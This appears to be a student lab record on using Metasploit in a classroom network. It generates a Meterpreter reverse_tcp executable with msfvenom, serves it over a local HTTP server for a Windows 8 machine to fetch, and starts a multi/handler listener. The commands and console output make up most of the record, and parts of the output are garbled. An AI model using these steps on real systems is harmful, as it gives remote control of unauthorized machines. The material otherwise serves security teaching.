

**EXP NO.: 13**

**DATE:**

## **METASPLOIT**

### **AIM:**

To set up the Metasploit framework and exploit reverse\_tcp in a Windows 8 machine remotely.

### **ALGORITHM:**

**Step 1:** Generate payload to be inserted into the remote machine.

**Step 2:** Set the LHOST and its port number.

**Step 3:** Open msfconsole.

**Step 4:** Use exploit/multi/handler.

**Step 5:** Establish reverse\_tcp with the remote Windows 8 machine.

**Step 6:** Run SimpleHTTPServer with port number 8000.

**Step 7:** Open the web browser on the Windows 8 machine and type `http://172.16.8.155:8000`.

**Step 8:** In Kali Linux, type sysinfo to get information about the Windows 8 machine.

**Step 9:** Create a new directory using the mkdir command.

**Step 10:** Delete the created directory.

### **OUTPUT:**

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp
```

```
LHOST=172.16.8.155 LPORT=443 -f exe > /root/hi.exe
```

```
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the  
payload [-] No arch selected, selecting arch: x86 from the payload
```

```
No encoder or badchars specified, outputting raw payload Payload size: 341 bytes
```

```
Final size of exe file: 73802 bytes root@kali:~# msfconsole
```

```
[-] ***Rting the Metasploit Framework console...\
```

```
[-] * WARNING: No database support: could not connect to server: Connection  
refused Is the server running on host "localhost" (::1) and accepting
```

```
TCP/IP connections on port 5432? could not connect to server: Connection refused
```

```
Is the server running on host "localhost" (127.0.0.1) and accepting TCP/IP  
connections on port 5432?
```

```
[-] ***
```

```

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```

```

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|_ | || | _ |   | _ / - \ \ ||   || \ / || | _
|/ |    /\    \ ^ \ \ / \   \ |   | _ \ \ \

```

```

=[ metasploit v5.0.41-dev      ]
+ -- --=[ 1914 exploits - 1074 auxiliary - 330 post   ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops      ]
+ -- --=[ 4 evasion ]

```

```

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options Module options
(exploit/multi/handler):
Name Current Setting Required Description

```

```

Payload options (windows/meterpreter/reverse_tcp): Name      Current Setting
Required Description

```

```

EXITFUNC process          yes  Exit technique (Accepted: '', seh, thread,
process, none) LHOST      yes  The listen address (an interface may be
specified)
LPORT      4444  yes  The listen port

```

```

Exploit target:
Id Name

```

```

0 Wildcard Target

```

```
msf5 exploit(multi/handler) > set LHOST 172.16.8.155 LHOST => 172.16.8.156  
msf5 exploit(multi/handler) > set LPORT 443 LPORT => 443  
msf5 exploit(multi/handler) > exploit
```

```
[*] Started reverse TCP handler on 172.16.8.155:443
```

**RESULT:**